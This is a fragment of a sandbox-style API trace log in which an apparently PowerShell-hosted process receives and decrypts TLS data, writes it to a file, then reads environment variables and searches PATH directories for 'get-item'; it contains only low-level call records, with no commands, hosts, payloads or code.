setsockopt (s=0x8f4, level=65535, optname=4102, optval="à\x93\x04", optlen=4) returned 0 [0159.249] recv (in: s=0x8f4, buf=0x1cbdab3dc60, len=5, flags=0 | out: buf=0x1cbdab3dc60*) returned 5 [0159.250] recv (in: s=0x8f4, buf=0x1cbdab55515, len=16416, flags=0 | out: buf=0x1cbdab55515*) returned 16416 [0159.250] DecryptMessage (in: phContext=0x1cbdab26600, pMessage=0x1cbdab59640, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x1cbdab59640, pfQOP=0x0) returned 0x0 [0159.250] WriteFile (in: hFile=0x790, lpBuffer=0x1cbdab45450*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x250580e4c8, lpOverlapped=0x0 | out: lpBuffer=0x1cbdab45450*, lpNumberOfBytesWritten=0x250580e4c8*=0x4000, lpOverlapped=0x0) returned 1 [0159.252] recv (in: s=0x8f4, buf=0x1cbdab55510, len=5, flags=0 | out: buf=0x1cbdab55510*) returned 5 [0159.252] recv (in: s=0x8f4, buf=0x1cbdab55515, len=6048, flags=0 | out: buf=0x1cbdab55515*) returned 6048 [0159.252] DecryptMessage (in: phContext=0x1cbdab26600, pMessage=0x1cbdab59820, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x1cbdab59820, pfQOP=0x0) returned 0x0 [0159.252] WriteFile (in: hFile=0x790, lpBuffer=0x1cbdab45450*, nNumberOfBytesToWrite=0x1780, lpNumberOfBytesWritten=0x250580e4c8, lpOverlapped=0x0 | out: lpBuffer=0x1cbdab45450*, lpNumberOfBytesWritten=0x250580e4c8*=0x1780, lpOverlapped=0x0) returned 1 [0159.253] recv (in: s=0x8f4, buf=0x1cbdab55510, len=5, flags=0 | out: buf=0x1cbdab55510*) returned 5 [0159.253] recv (in: s=0x8f4, buf=0x1cbdab55515, len=16416, flags=0 | out: buf=0x1cbdab55515*) returned 16416 [0159.253] DecryptMessage (in: phContext=0x1cbdab26600, pMessage=0x1cbdab59a00, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x1cbdab59a00, pfQOP=0x0) returned 0x0 [0159.253] WriteFile (in: hFile=0x790, lpBuffer=0x1cbdab45450*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x250580e4c8, lpOverlapped=0x0 | out: lpBuffer=0x1cbdab45450*, lpNumberOfBytesWritten=0x250580e4c8*=0x4000, lpOverlapped=0x0) returned 1 [0159.253] recv (in: s=0x8f4, buf=0x1cbdab55510, len=5, flags=0 | out: buf=0x1cbdab55510*) returned 5 [0159.253] recv (in: s=0x8f4, buf=0x1cbdab55515, len=16416, flags=0 | out: buf=0x1cbdab55515*) returned 3440 [0159.253] recv (in: s=0x8f4, buf=0x1cbdab56285, len=12976, flags=0 | out: buf=0x1cbdab56285*) returned 12976 [0159.279] DecryptMessage (in: phContext=0x1cbdab26600, pMessage=0x1cbdab59d68, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x1cbdab59d68, pfQOP=0x0) returned 0x0 [0159.279] WriteFile (in: hFile=0x790, lpBuffer=0x1cbdab45450*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x250580e4c8, lpOverlapped=0x0 | out: lpBuffer=0x1cbdab45450*, lpNumberOfBytesWritten=0x250580e4c8*=0x4000, lpOverlapped=0x0) returned 1 [0159.280] recv (in: s=0x8f4, buf=0x1cbdab55510, len=5, flags=0 | out: buf=0x1cbdab55510*) returned 5 [0159.280] recv (in: s=0x8f4, buf=0x1cbdab55515, len=16416, flags=0 | out: buf=0x1cbdab55515*) returned 16416 [0159.280] DecryptMessage (in: phContext=0x1cbdab26600, pMessage=0x1cbdab59f48, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x1cbdab59f48, pfQOP=0x0) returned 0x0 [0159.280] WriteFile (in: hFile=0x790, lpBuffer=0x1cbdab45450*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x250580e4c8, lpOverlapped=0x0 | out: lpBuffer=0x1cbdab45450*, lpNumberOfBytesWritten=0x250580e4c8*=0x4000, lpOverlapped=0x0) returned 1 [0159.280] recv (in: s=0x8f4, buf=0x1cbdab55510, len=5, flags=0 | out: buf=0x1cbdab55510*) returned 5 [0159.280] recv (in: s=0x8f4, buf=0x1cbdab55515, len=16416, flags=0 | out: buf=0x1cbdab55515*) returned 16416 [0159.281] DecryptMessage (in: phContext=0x1cbdab26600, pMessage=0x1cbdab5a128, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x1cbdab5a128, pfQOP=0x0) returned 0x0 [0159.281] WriteFile (in: hFile=0x790, lpBuffer=0x1cbdab45450*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x250580e4c8, lpOverlapped=0x0 | out: lpBuffer=0x1cbdab45450*, lpNumberOfBytesWritten=0x250580e4c8*=0x4000, lpOverlapped=0x0) returned 1 [0159.281] recv (in: s=0x8f4, buf=0x1cbdab55510, len=5, flags=0 | out: buf=0x1cbdab55510*) returned 5 [0159.281] recv (in: s=0x8f4, buf=0x1cbdab55515, len=16416, flags=0 | out: buf=0x1cbdab55515*) returned 6737 [0159.281] recv (in: s=0x8f4, buf=0x1cbdab56f66, len=9679, flags=0 | out: buf=0x1cbdab56f66*) returned 9679 [0159.339] DecryptMessage (in: phContext=0x1cbdab26600, pMessage=0x1cbdab75ed8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x1cbdab75ed8, pfQOP=0x0) returned 0x0 [0159.339] WriteFile (in: hFile=0x790, lpBuffer=0x1cbdab45450*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x250580e4c8, lpOverlapped=0x0 | out: lpBuffer=0x1cbdab45450*, lpNumberOfBytesWritten=0x250580e4c8*=0x4000, lpOverlapped=0x0) returned 1 [0159.339] recv (in: s=0x8f4, buf=0x1cbdab55510, len=5, flags=0 | out: buf=0x1cbdab55510*) returned 5 [0159.339] recv (in: s=0x8f4, buf=0x1cbdab55515, len=16416, flags=0 | out: buf=0x1cbdab55515*) returned 16416 [0159.340] DecryptMessage (in: phContext=0x1cbdab26600, pMessage=0x1cbdab760b8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x1cbdab760b8, pfQOP=0x0) returned 0x0 [0159.340] WriteFile (in: hFile=0x790, lpBuffer=0x1cbdab45450*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x250580e4c8, lpOverlapped=0x0 | out: lpBuffer=0x1cbdab45450*, lpNumberOfBytesWritten=0x250580e4c8*=0x4000, lpOverlapped=0x0) returned 1 [0159.340] recv (in: s=0x8f4, buf=0x1cbdab55510, len=5, flags=0 | out: buf=0x1cbdab55510*) returned 5 [0159.340] recv (in: s=0x8f4, buf=0x1cbdab55515, len=10400, flags=0 | out: buf=0x1cbdab55515*) returned 10400 [0159.340] DecryptMessage (in: phContext=0x1cbdab26600, pMessage=0x1cbdab76298, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x1cbdab76298, pfQOP=0x0) returned 0x0 [0159.341] SetEvent (hEvent=0x7ac) returned 1 [0159.341] WriteFile (in: hFile=0x790, lpBuffer=0x1cbdab45450*, nNumberOfBytesToWrite=0x2880, lpNumberOfBytesWritten=0x250580e4c8, lpOverlapped=0x0 | out: lpBuffer=0x1cbdab45450*, lpNumberOfBytesWritten=0x250580e4c8*=0x2880, lpOverlapped=0x0) returned 1 [0159.347] GetEnvironmentVariableW (in: lpName="APPDATA", lpBuffer=0x250580df00, nSize=0xeb | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x1f [0159.360] GetEnvironmentVariableW (in: lpName="APPDATA", lpBuffer=0x250580e300, nSize=0xeb | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x1f [0159.758] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x250580e190, nSize=0xeb | out: lpBuffer="") returned 0x0 [0159.758] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x250580e000, nSize=0xeb | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps;;C:\\Program Files\\Microsoft Office\\root\\Client") returned 0xea [0159.758] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x250580dfc0, nSize=0xeb | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL") returned 0x3a [0159.759] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x1cbd873d080 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents") returned 0x19 [0159.760] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x250580dfc0, nSize=0xeb | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL") returned 0x3a [0159.760] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x24 [0159.760] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x24, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0159.760] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1b0) returned 1 [0159.760] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath" (normalized: "c:\\programdata\\oracle\\java\\javapath"), fInfoLevelId=0x0, lpFileInformation=0x250580e290 | out: lpFileInformation=0x250580e290*(dwFileAttributes=0x2410, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac5d590c, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0159.760] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e170) returned 1 [0159.760] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e200) returned 1 [0159.760] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x24 [0159.760] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x24, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0159.760] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\get-item.*", lpFindFileData=0x250580df20 | out: lpFindFileData=0x250580df20*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0159.761] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e110) returned 1 [0159.761] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e0c0) returned 1 [0159.761] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0159.761] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x14, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x0) returned 0x13 [0159.761] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1b0) returned 1 [0159.761] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x250580e290 | out: lpFileInformation=0x250580e290*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xa55ee53a, ftLastAccessTime.dwHighDateTime=0x1d5e1c4, ftLastWriteTime.dwLowDateTime=0xa55ee53a, ftLastWriteTime.dwHighDateTime=0x1d5e1c4, nFileSizeHigh=0x0, nFileSizeLow=0x100000)) returned 1 [0159.761] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e170) returned 1 [0159.761] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e200) returned 1 [0159.761] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0159.761] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x14, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x0) returned 0x13 [0159.761] FindFirstFileW (in: lpFileName="C:\\WINDOWS\\system32\\get-item.*", lpFindFileData=0x250580df20 | out: lpFindFileData=0x250580df20*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0159.762] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e110) returned 1 [0159.762] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e0c0) returned 1 [0159.762] GetFullPathNameW (in: lpFileName="C:\\WINDOWS", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xb [0159.762] GetFullPathNameW (in: lpFileName="C:\\WINDOWS", nBufferLength=0xb, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS", lpFilePart=0x0) returned 0xa [0159.762] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1b0) returned 1 [0159.762] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x250580e290 | out: lpFileInformation=0x250580e290*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x345c13e6, ftLastAccessTime.dwHighDateTime=0x1d5d695, ftLastWriteTime.dwLowDateTime=0x345c13e6, ftLastWriteTime.dwHighDateTime=0x1d5d695, nFileSizeHigh=0x0, nFileSizeLow=0x7000)) returned 1 [0159.762] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e170) returned 1 [0159.762] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e200) returned 1 [0159.762] GetFullPathNameW (in: lpFileName="C:\\WINDOWS", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xb [0159.762] GetFullPathNameW (in: lpFileName="C:\\WINDOWS", nBufferLength=0xb, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS", lpFilePart=0x0) returned 0xa [0159.762] FindFirstFileW (in: lpFileName="C:\\WINDOWS\\get-item.*", lpFindFileData=0x250580df20 | out: lpFindFileData=0x250580df20*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0159.763] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e110) returned 1 [0159.763] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e0c0) returned 1 [0159.763] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0159.763] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem", nBufferLength=0x19, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0159.763] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1b0) returned 1 [0159.763] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem" (normalized: "c:\\windows\\system32\\wbem"), fInfoLevelId=0x0, lpFileInformation=0x250580e290 | out: lpFileInformation=0x250580e290*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x97384b75, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x97384b75, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x14000)) returned 1 [0159.763] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e170) returned 1 [0159.763] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e200) returned 1 [0159.763] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0159.763] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem", nBufferLength=0x19, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0159.763] FindFirstFileW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\get-item.*", lpFindFileData=0x250580df20 | out: lpFindFileData=0x250580df20*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0159.764] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e110) returned 1 [0159.764] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e0c0) returned 1 [0159.764] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0159.764] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x2c, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x2b [0159.764] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1b0) returned 1 [0159.764] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0"), fInfoLevelId=0x0, lpFileInformation=0x250580e290 | out: lpFileInformation=0x250580e290*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9765981c, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9765981c, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0159.764] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e170) returned 1 [0159.764] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e200) returned 1 [0159.764] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0159.764] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x2c, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x2b [0159.764] FindFirstFileW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\get-item.*", lpFindFileData=0x250580df20 | out: lpFindFileData=0x250580df20*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0159.764] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e110) returned 1 [0159.764] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e0c0) returned 1 [0159.765] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0159.765] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", nBufferLength=0x34, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", lpFilePart=0x0) returned 0x33 [0159.765] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1b0) returned 1 [0159.765] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\windowsapps"), fInfoLevelId=0x0, lpFileInformation=0x250580e290 | out: lpFileInformation=0x250580e290*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc88fb23e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0159.765] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e170) returned 1 [0159.765] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e200) returned 1 [0159.765] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0159.765] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", nBufferLength=0x34, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", lpFilePart=0x0) returned 0x33 [0159.765] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\get-item.*", lpFindFileData=0x250580df20 | out: lpFindFileData=0x250580df20*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0159.765] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e110) returned 1 [0159.765] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e0c0) returned 1 [0159.765] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Client", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2e [0159.765] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Client", nBufferLength=0x2e, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Client", lpFilePart=0x0) returned 0x2d [0159.765] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1b0) returned 1 [0159.766] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Client" (normalized: "c:\\program files\\microsoft office\\root\\client"), fInfoLevelId=0x0, lpFileInformation=0x250580e290 | out: lpFileInformation=0x250580e290*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86813dc4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9da7422, ftLastAccessTime.dwHighDateTime=0x1d5c566, ftLastWriteTime.dwLowDateTime=0xf9da7422, ftLastWriteTime.dwHighDateTime=0x1d5c566, nFileSizeHigh=0x0, nFileSizeLow=0x3000)) returned 1 [0159.766] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e170) returned 1 [0159.766] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e200) returned 1 [0159.766] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Client", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2e [0159.766] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Client", nBufferLength=0x2e, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Client", lpFilePart=0x0) returned 0x2d [0159.766] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Client\\get-item.*", lpFindFileData=0x250580df20 | out: lpFindFileData=0x250580df20*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0159.768] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e110) returned 1 [0159.768] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e0c0) returned 1 [0159.769] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x250580e060, nSize=0xeb | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\WindowsPowerShell\\Modules;C:\\Program Files\\WindowsPowerShell\\Modules;C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules") returned 0x91 [0159.771] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\WindowsPowerShell\\Modules" (normalized: "c:\\users\\fd1hvy\\documents\\windowspowershell\\modules")) returned 0xffffffff [0159.806] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules" (normalized: "c:\\program files\\windowspowershell\\modules")) returned 0x10 [0159.807] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e220) returned 1 [0159.807] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2b [0159.807] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules", nBufferLength=0x2b, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules", lpFilePart=0x0) returned 0x2a [0159.807] 